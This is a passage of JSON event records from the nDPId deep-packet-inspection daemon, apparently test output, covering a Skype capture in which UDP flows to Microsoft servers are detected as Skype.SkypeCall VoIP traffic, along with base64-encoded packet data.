+00440{"flow_id":113,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":772,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970657,"pkt_ts_usec":867722,"pkt_caplen":67,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":67,"pkt_l4_len":33,"pkt":"0NQSxnP1PBXCt3IOCABFAAA13XsAAEARu5rAqAEinTeCoDLdnEgAIdXCezcCHsxzqj9mHv\/LaKdjYymm7xXHyFOeHw=="} +00528{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":772,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":113,"flow_packet_id":1,"flow_first_seen":1431970657867,"flow_last_seen":0,"flow_tot_l4_data_len":33,"flow_min_l4_data_len":33,"flow_max_l4_data_len":33,"flow_avg_l4_data_len":33,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.160","src_port":13021,"dst_port":40008,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00486{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":773,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":114,"flow_packet_id":1,"flow_first_seen":1431970657867,"flow_last_seen":0,"flow_tot_l4_data_len":41,"flow_min_l4_data_len":41,"flow_max_l4_data_len":41,"flow_avg_l4_data_len":41,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.56.52.42","src_port":13021,"dst_port":40005,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00448{"flow_id":114,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":773,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970657,"pkt_ts_usec":867722,"pkt_caplen":75,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":75,"pkt_l4_len":41,"pkt":"0NQSxnP1PBXCt3IOCABFAAA9HFoAAEARyynAqAEinTg0KjLdnEUAKXprezkCzIUWKH677Ew8QeRY2LFi0olqYWN\/wfRNYM+xO4zo"} +00526{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":773,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":114,"flow_packet_id":1,"flow_first_seen":1431970657867,"flow_last_seen":0,"flow_tot_l4_data_len":41,"flow_min_l4_data_len":41,"flow_max_l4_data_len":41,"flow_avg_l4_data_len":41,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.56.52.42","src_port":13021,"dst_port":40005,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00436{"flow_id":108,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":774,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970658,"pkt_ts_usec":15615,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0\/zFAADMGtWOdODQswKgBIgG7yC\/usf9MunqupIAQAB1WngAAAQEICkxoAH0+MeCz"} +00532{"flow_id":108,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":775,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970658,"pkt_ts_usec":15668,"pkt_caplen":135,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":135,"pkt_l4_len":101,"pkt":"0NQSxnP1PBXCt3IOCABFAAB57e9AAEAGuWDAqAEinTg0LMgvAbu6eq6k7rH\/TIAYECyFzQAAAQEICj4x4ZRMaAB9rs4rj\/Zn4y1sqwdIy3afkOEmLBspD4c0rMSeRLd9b91SLsTSeHa0jfo08XXIbE1KDwebW7o1FbLX0Wq5X\/ZmIfUdu0eE"} +00531{"flow_id":81,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":776,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970658,"pkt_ts_usec":106871,"pkt_caplen":133,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":133,"pkt_l4_len":99,"pkt":"0NQSxnP1PBXCt3IOCABFAAB324VAAEAGfUnAqAEinTeCsMgpAbtXW5OVu\/PiI4AYECwSKwAAAQEICj4x4e9OqL8U9IDgvpwdzGcEkd9CX4txidHNl7imFBAwZtm7PgDORMBSjaYWMXjPRWAjyRyC8GW2MJh6wHE92aXcM+JRSsWm\/1CudQ=="} +00447{"flow_id":109,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":777,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970658,"pkt_ts_usec":156406,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA8AABAADYGxWVv3U2vwKgBIpxeyDDQUSwBCFXs56ASOJDrCwAAAgQFrAQCCApNo+IOPjHhAAEDAwk="} +00435{"flow_id":109,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":778,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970658,"pkt_ts_usec":156528,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0UMZAAEAGaqfAqAEib91Nr8gwnF4IVezn0FEsAoAQECxBFgAAAQEICj4x4iBNo+IO"} +00564{"flow_id":109,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":779,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970658,"pkt_ts_usec":157082,"pkt_caplen":158,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":158,"pkt_l4_len":124,"pkt":"0NQSxnP1PBXCt3IOCABFAACQmTBAAEAGIeHAqAEib91Nr8gwnF4IVezn0FEsAoAYECziqQAAAQEICj4x4iBNo+IOiZ0uM4UUx\/r8v6otdDGr3C97i4clqD3ww++M30WlHXwpnGkMW1HntI8XmE+5Wfo8pyyt+qP4CaZfhCUS29ABPhfcnSoTqPnWzzQVQkuA8W6HjI1ag1jpBj\/kBXI="} +00449{"flow_id":97,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":780,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970658,"pkt_ts_usec":250026,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA80HFAAEAG1xvAqAEinTg0LMgunFRemxVvo\/vFuIAYECqb1QAAAQEICj4x4n1MZ\/7lUZ\/2f58qofY="} +00517{"flow_id":75,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":781,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970658,"pkt_ts_usec":475210,"pkt_caplen":124,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":124,"pkt_l4_len":90,"pkt":"0NQSxnP1PBXCt3IOCABFAABu089AAEAG6uXAqAEib91KLcgoAbtIes\/7DU2rDIAYECxnWwAAAQEICj4x411Nh64VXoBGQFpplMys2JWIO4+I29OA4cPWkJJGByBiX+YJVXNQ2TREXlwyKhu2PLot6b6UkyYNEZ8cQhCRbQ=="} +00435{"flow_id":109,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":782,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970658,"pkt_ts_usec":477146,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0zlRAADYG9xhv3U2vwKgBIpxeyDDQUSwCCFXtQ4AQAB1QgAAAAQEICk2j4lc+MeIg"} +00548{"flow_id":109,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":783,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970658,"pkt_ts_usec":477153,"pkt_caplen":146,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":146,"pkt_l4_len":112,"pkt":"PBXCt3IO0NQSxnP1CABFAACEzlVAADYG9sdv3U2vwKgBIpxeyDDQUSwCCFXtQ4AYAB0PzQAAAQEICk2j4ls+MeIg+msEBmAzVVCg2om5ksbH3i5LqsKTi3p3bVMjULlB3fNdv7WeJTRW\/7JhqPxV1N\/TFHUiq2BRTuds7TrjOEnmn8RlUhsQQX5XHN1qU+g5Fg8="} +00435{"flow_id":109,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":784,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970658,"pkt_ts_usec":477291,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA02O5AAEAG4n7AqAEib91Nr8gwnF4IVe1D0FEsUoAQECk+4QAAAQEICj4x419No+Jb"} +00449{"flow_id":109,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":785,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970658,"pkt_ts_usec":477870,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8w3xAAEAG9+jAqAEib91Nr8gwnF4IVe1D0FEsUoAYECncyQAAAQEICj4x419No+Jb\/KZqQh\/x2yw="} +00486{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":786,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":115,"flow_packet_id":1,"flow_first_seen":1431970658879,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.56.52.16","src_port":13021,"dst_port":40032,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00435{"flow_id":115,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":786,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970658,"pkt_ts_usec":879063,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0MmQAAEARtULAqAEinTg0EDLdnGAAINARezsCntsIeaNpS6NjCmJc+OoOrMkvCcDa"} +00526{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":786,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":115,"flow_packet_id":1,"flow_first_seen":1431970658879,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.56.52.16","src_port":13021,"dst_port":40032,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00489{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":787,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":116,"flow_packet_id":1,"flow_first_seen":1431970658879,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"213.199.179.143","src_port":13021,"dst_port":40018,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00452{"flow_id":116,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":787,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970658,"pkt_ts_usec":879242,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAykUAAEARZUbAqAEi1cezjzLdnFIALAJQez0CXU0wVq4fYZh\/Y+8+QJuiiaVycN5JEmy9Mj2R1c64L1Y6"} +00529{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":787,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":116,"flow_packet_id":1,"flow_first_seen":1431970658879,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"213.199.179.143","src_port":13021,"dst_port":40018,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00488{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":788,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":117,"flow_packet_id":1,"flow_first_seen":1431970658879,"flow_last_seen":0,"flow_tot_l4_data_len":39,"flow_min_l4_data_len":39,"flow_max_l4_data_len":39,"flow_avg_l4_data_len":39,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.176","src_port":13021,"dst_port":40031,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00447{"flow_id":117,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":788,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970658,"pkt_ts_usec":879243,"pkt_caplen":73,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":73,"pkt_l4_len":39,"pkt":"0NQSxnP1PBXCt3IOCABFAAA7lJ0AAEARm2LAqAEinTfrsDLdnF8AJ1FIez8C0TqVtIrtp1zqD0lx1wHOKMmPMNUvlfjRgE8UFg=="} +00528{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":788,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":117,"flow_packet_id":1,"flow_first_seen":1431970658879,"flow_last_seen":0,"flow_tot_l4_data_len":39,"flow_min_l4_data_len":39,"flow_max_l4_data_len":39,"flow_avg_l4_data_len":39,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.176","src_port":13021,"dst_port":40031,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00486{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":789,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":118,"flow_packet_id":1,"flow_first_seen":1431970658879,"flow_last_seen":0,"flow_tot_l4_data_len":36,"flow_min_l4_data_len":36,"flow_max_l4_data_len":36,"flow_avg_l4_data_len":36,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.56.52.24","src_port":13021,"dst_port":40032,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":118,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":789,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970658,"pkt_ts_usec":879243,"pkt_caplen":70,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":70,"pkt_l4_len":36,"pkt":"0NQSxnP1PBXCt3IOCABFAAA4HuEAAEARyLnAqAEinTg0GDLdnGAAJDiFe0ECGzhHlfYpbTJCQlYvElI0z7NbdWF7vdKvag=="} +00526{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":789,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":118,"flow_packet_id":1,"flow_first_seen":1431970658879,"flow_last_seen":0,"flow_tot_l4_data_len":36,"flow_min_l4_data_len":36,"flow_max_l4_data_len":36,"flow_avg_l4_data_len":36,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.56.52.24","src_port":13021,"dst_port":40032,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00487{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":790,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":119,"flow_packet_id":1,"flow_first_seen":1431970658879,"flow_last_seen":0,"flow_tot_l4_data_len":43,"flow_min_l4_data_len":43,"flow_max_l4_data_len":43,"flow_avg_l4_data_len":43,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.20","src_port":13021,"dst_port":40033,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00452{"flow_id":119,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":790,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970658,"pkt_ts_usec":879243,"pkt_caplen":77,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":77,"pkt_l4_len":43,"pkt":"0NQSxnP1PBXCt3IOCABFAAA\/Lr4AAEAR0DTAqAEib91KFDLdnGEAK3JGe0MC70klwlgauZl1jUNJ9T6muSj9wXln3SVqW5QyJa+s4xA="} +00527{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":790,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":119,"flow_packet_id":1,"flow_first_seen":1431970658879,"flow_last_seen":0,"flow_tot_l4_data_len":43,"flow_min_l4_data_len":43,"flow_max_l4_data_len":43,"flow_avg_l4_data_len":43,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.20","src_port":13021,"dst_port":40033,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00486{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":791,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":120,"flow_packet_id":1,"flow_first_seen":1431970659480,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.77.175","src_port":51250,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00453{"flow_id":120,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":791,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970659,"pkt_ts_usec":480110,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAaDxAAEAGUyXAqAEib91Nr8gyAbuh2H3fAAAAALAC\/\/+ohwAAAgQFtAEDAwUBAQgKPjHnRwAAAAAEAgAA"} +00485{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":792,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":121,"flow_packet_id":1,"flow_first_seen":1431970659834,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"64.4.23.166","src_port":51251,"dst_port":40029,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00453{"flow_id":121,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":792,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970659,"pkt_ts_usec":834732,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAPbBAAEAG45PAqAEiQAQXpsgznF2bjnkgAAAAALAC\/\/99bQAAAgQFtAEDAwUBAQgKPjHoqQAAAAAEAgAA"} +00488{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":793,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":122,"flow_packet_id":1,"flow_first_seen":1431970659834,"flow_last_seen":0,"flow_tot_l4_data_len":33,"flow_min_l4_data_len":33,"flow_max_l4_data_len":33,"flow_avg_l4_data_len":33,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.144","src_port":13021,"dst_port":40016,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00440{"flow_id":122,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":793,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970659,"pkt_ts_usec":834986,"pkt_caplen":67,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":67,"pkt_l4_len":33,"pkt":"0NQSxnP1PBXCt3IOCABFAAA1elAAAEARHtbAqAEinTeCkDLdnFAAIfN1e0UCt0zo\/WrZ+Zw8Ki6+SR8vgG1TLjatCw=="} +00528{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":793,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":122,"flow_packet_id":1,"flow_first_seen":1431970659834,"flow_last_seen":0,"flow_tot_l4_data_len":33,"flow_min_l4_data_len":33,"flow_max_l4_data_len":33,"flow_avg_l4_data_len":33,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.144","src_port":13021,"dst_port":40016,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00486{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":794,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":123,"flow_packet_id":1,"flow_first_seen":1431970659834,"flow_last_seen":0,"flow_tot_l4_data_len":43,"flow_min_l4_data_len":43,"flow_max_l4_data_len":43,"flow_avg_l4_data_len":43,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.56.52.20","src_port":13021,"dst_port":40033,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00452{"flow_id":123,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":794,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970659,"pkt_ts_usec":834986,"pkt_caplen":77,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":77,"pkt_l4_len":43,"pkt":"0NQSxnP1PBXCt3IOCABFAAA\/fyEAAEARaHbAqAEinTg0FDLdnGEAK5aLe0cCmWiuCofYyBz6GXTZdvI4LweQLKgxsl8j0KcXdBMS+c8="} +00526{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":794,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":123,"flow_packet_id":1,"flow_first_seen":1431970659834,"flow_last_seen":0,"flow_tot_l4_data_len":43,"flow_min_l4_data_len":43,"flow_max_l4_data_len":43,"flow_avg_l4_data_len":43,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.56.52.20","src_port":13021,"dst_port":40033,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00488{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":795,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":124,"flow_packet_id":1,"flow_first_seen":1431970659835,"flow_last_seen":0,"flow_tot_l4_data_len":45,"flow_min_l4_data_len":45,"flow_max_l4_data_len":45,"flow_avg_l4_data_len":45,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.144","src_port":13021,"dst_port":40032,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00455{"flow_id":124,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":795,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970659,"pkt_ts_usec":835052,"pkt_caplen":79,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":79,"pkt_l4_len":45,"pkt":"0NQSxnP1PBXCt3IOCABFAABBTDEAAEAR4+jAqAEinTfrkDLdnGAALTL8e0kC17QicxuXB5auWkNIni8RcFzpWBK6wb+NIPIUjtvt0ICuYw=="} +00528{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":795,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":124,"flow_packet_id":1,"flow_first_seen":1431970659835,"flow_last_seen":0,"flow_tot_l4_data_len":45,"flow_min_l4_data_len":45,"flow_max_l4_data_len":45,"flow_avg_l4_data_len":45,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.144","src_port":13021,"dst_port":40032,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00488{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":796,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":125,"flow_packet_id":1,"flow_first_seen":1431970659835,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.77.165","src_port":13021,"dst_port":40004,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00452{"flow_id":125,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":796,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970659,"pkt_ts_usec":835052,"pkt_caplen":76,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":76,"pkt_l4_len":42,"pkt":"0NQSxnP1PBXCt3IOCABFAAA+n20AAEARW\/XAqAEib91NpTLdnEQAKqfKe0sCA3KviLJG1lAzDVoG9idWXcbF4pfswWYweShFk+5UVw=="} +00528{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":796,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":125,"flow_packet_id":1,"flow_first_seen":1431970659835,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.77.165","src_port":13021,"dst_port":40004,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00488{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":797,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":126,"flow_packet_id":1,"flow_first_seen":1431970659835,"flow_last_seen":0,"flow_tot_l4_data_len":39,"flow_min_l4_data_len":39,"flow_max_l4_data_len":39,"flow_avg_l4_data_len":39,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.146","src_port":13021,"dst_port":40033,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00448{"flow_id":126,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":797,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970659,"pkt_ts_usec":835052,"pkt_caplen":73,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":73,"pkt_l4_len":39,"pkt":"0NQSxnP1PBXCt3IOCABFAAA71A4AAEARxQ\/AqAEinTeCkjLdnGEAJ5FDe00CRUi6WS8h8mPi8e9oMy1XIZqCitDbn3NkpyCi9w=="} 